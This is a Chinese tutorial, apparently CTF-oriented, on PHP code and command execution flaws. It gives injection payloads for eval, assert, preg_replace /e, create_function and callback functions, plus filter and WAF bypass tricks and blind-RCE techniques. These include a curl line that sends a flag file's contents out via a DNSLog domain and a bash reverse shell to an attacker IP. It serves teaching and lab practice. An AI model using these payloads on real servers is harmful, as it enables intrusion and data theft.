代码执行与命令执行漏洞
代码执行与命令执行
1. 漏洞介绍
当用户提交的参数被服务端当作代码解析并执行时,就会产生此类漏洞。
- 广义代码注入: 覆盖大半安全漏洞分类,例如 SQL 注入、XSS 跨站脚本攻击等。
- 狭义代码执行: 动态代码执行函数的参数过滤不严格,导致用户输入的数据被当作服务端脚本语言(如 PHP、Python、Java 等)代码执行。
2. 常见 PHP 代码执行危险函数
大致分为五类:
(1) eval() 与 assert()
接受字符串,并将其作为脚本执行。当用户可以控制传入的字符串时,即存在代码注入漏洞。
eval(string $code):把字符串作为 PHP 代码执行(并非严格意义上的函数,而是语言构造器)。assert(mixed $assertion):检查一个断言是否为false,如果传入字符串,也会被作为 PHP 代码执行(PHP 7.2 起废弃了字符串执行,PHP 8.0 起彻底移除)。
基础用法:
1 | <?php |
GET/POST 传参利用:
1 | <?php |
- 输入 Payload:
?cmd=phpinfo();
进阶:遇到闭合与注释过滤
当开发人员尝试拼接代码并加引号时:
1 | <?php |
输入 Payload:
?cmd=');phpinfo();//注意: 如果服务器开启了
magic_quotes_gpc或使用了addslashes(),单引号'会被转义为\',导致上述闭合方法失效。
(2) preg_replace() /e 模式
原本用于执行正则表达式的搜索和替换。但如果使用了危险的 /e 修饰符,preg_replace() 会将 replacement 参数当作 PHP 代码执行。
1 | <?php |
- 输入 Payload:
?cmd=<data>{${phpinfo()}}</data>
(3) create_function() 匿名函数注入
主要用来创建匿名函数。如果没有对传递的参数进行严格过滤,攻击者可以闭合原有的函数代码块,从而注入任意代码。
PHP
1 | <?php |
- 输入 Payload:
?cmd=}phpinfo();/*
(4) 动态函数调用
通过声明变量接收函数名称,随后利用变量名动态调用该函数。
示例 1:常规动态调用
1 | <?php |
- 输入 Payload:
?func=phpinfo
示例 2:动态函数与参数拼接
1 | <?php |
- 输入 Payload:
?a=assert&b=phpinfo()(等价于执行assert(phpinfo());)
(5) 回调函数 (Callback)
用户自定义函数可作为参数传递给回调执行函数。
call_user_func() / call_user_func_array()
PHP
1 | <?php |
- 输入 Payload:
?func=assert&cmd=phpinfo()
数组遍历回调:array_filter() / array_map()
PHP
1 | <?php |
- 输入 Payload:
?func=system&cmd=whoami
3. 常见过滤与绕过技巧 (Bypass)
遇到 WAF 或代码里的黑名单正则过滤时,通常从以下维度进行绕过:
维度一:系统命令拼接与符号过滤绕过
1. 逻辑运算符拼接
&&(与):前一个成功才执行后一个。例:mkdir test && cd test||(或):前一个失败才执行后一个。例:cd not_exist || echo "fail"&(后台):将前一个放到后台,立即并行执行后一个。;(分号):无论前一个成功与否,继续执行下一个。
2. Shell 符号过滤与绕过
- 引号绕过(打断关键字): 单/双引号
""或''定义空字符串。c""at fl''ag.php。 - 反斜杠转义:
c\at fl\ag.php。 - 插入空变量:
ca$@t fl$1ag.php或cat fl${x}ag.php($@、$1在 Bash 中为空,拼接后不影响原命令)。 - 通配符匹配:
*匹配任意数量字符,?匹配单个字符。system("cat f????php");system("cat /e't'c/*ss*");
3. 空格过滤绕过
默认由 IFS (Internal Field Separator) 变量控制。
- URL 编码:
%20(空格),%09(Tab) - 输入重定向符:
<或<>(例:cat<flag.php) - 大括号扩展 (Brace Expansion):
{cat,flag.php} - IFS 变量替换:
$IFS$9,${IFS},$IFS
维度二:危险函数过滤绕过 (PHP 代码层)
1. 替代危险函数的“平替”
当 system 或 shell_exec 被禁时:
- 直接回显类:
passthru()。 - 无直接回显类:
exec()(需配合 echo 取最后一行返回)。 - 符号类:
`反引号(等同于shell_exec,例:echo `ls`;)。 - 底层进程类:
popen(),proc_open(),pcntl_exec()(常用于 Bypass disable_functions)。
2. 纯 PHP 读文件替代系统命令
不依赖 Linux Shell 命令(如 cat),直接用 PHP 文件操作函数读取:
- 直接输出:
highlight_file('flag.php'),show_source('flag.php'),readfile('flag.php') - 需配合输出函数:
file_get_contents('flag.php'),file('flag.php')(将文件按行读入数组) - 纯 PHP 看目录:
print_r(scandir('/'));,var_dump(glob('/*'));
3. PHP 关键字过滤绕过
当 cat, flag, php 等敏感词被拦截:
- 字符串拼接:
('sy'.'stem')('ls');或$a='f'.'lag'; highlight_file($a); - 编码转换: Base64:
eval(base64_decode('c3lzdGVtKCdscycpOw=='));(还可利用 Hex、URL 编码)。 - 异或/取反/或 (无数字字母 WebShell): 利用符号位运算生成字符串。例
(~%8F%97%8F%96%91%99%90)()等同于phpinfo()。
维度三:高阶结合绕过
1. 文件包含结合
当执行命令的函数全部被死死封杀时,利用 include() / require() 替代。
机制:内容中有 PHP 代码直接执行;无 PHP 代码(如 TXT)则原样输出。
基础拼接:
1 | ?c=include('fl'.'ag.php'); |
⚠️ 伪协议配合 (php://filter):
如果直接包含 flag.php(且内容是合法 PHP 标签),代码会被静默执行,页面无显示。必须在包含前进行 Base64 编码,破坏其 PHP 语法让它变成纯字符串:
1 | ?c=include('php://filter/read=convert.base64-encode/resource=flag.php'); |
拿到 Base64 字符串后,自行解码即可看到源码。
2. 参数逃逸 (利用超全局变量)
当 Payload 自身面临极严格的字符限制时,通过转交参数位置绕过:
1 | // 利用 $_GET 传参避开单双引号和关键字过滤 |
无方括号 [] 逃逸法:
1 | ?c=eval(next(reset(get_defined_vars())));&1=system("tac flag.php"); |
- 原理:
get_defined_vars()获取所有已定义变量。reset()获取第一个元素(通常是$_GET数组)。next()将内部指针移动到第二个元素,提取出1的值system("tac flag.php");并丢给eval执行。
3. Cookie 偷渡
利用 Session 机制的 ID 传递 Payload:
1 | ?c=session_start();system(session_id()); |
4. 无回显命令执行 (Blind RCE)
场景: 靶机上的执行结果被重定向到 /dev/null 2>&1,将标准输出和错误信息全部丢弃,导致网页没有任何回显。
1 | <?php |
解决思路与外带技巧:
1. 命令分隔符“截断”
原理: 利用逻辑运算符将
>/dev/null和我们要执行的命令强行断开。Payload:
?cmd=ls;(最终拼成ls; >/dev/null 2>&1。第一条ls正常执行并回显在网页上,第二条空命令被重定向到黑洞)。Payload:
?cmd=cat flag.php ||(读取 flag,前面的执行不受后面黑洞的影响)。
2. 结果写入到 Web 文件
原理: 如果有目录写入权限,把结果保存在网站目录的独立文件中,再用浏览器访问。
Payload:
?cmd=cat flag.php > result.txt;执行后: 浏览器访问
http://靶机地址/result.txt。
3. DNSLog 外带数据 (OOB)
原理: 靶机不允许写文件但出网,利用 DNS 解析记录将命令结果拼接到子域名中“带”出来。
准备: 在 ceye.io 或 dnslog.cn 申请专属域名(如
1234.ceye.io)。Payload:
?cmd=curl http://1234.ceye.io/?data=$(cat flag.txt);执行后: 靶机发起外部请求,登录 DNSLog 后台查看访问记录即可获取数据。
4. 反弹 Shell (Reverse Shell)
原理: 让靶机主动连接攻击机的监听端口,将 Shell 完全接管。
准备: 攻击机(假设 IP
1.1.1.1)执行nc -lvvp 6666开启监听。Payload:
?cmd=bash -i >& /dev/tcp/1.1.1.1/6666 0>&1;执行后: 攻击机获取交互式命令行,限制瞬间解除。
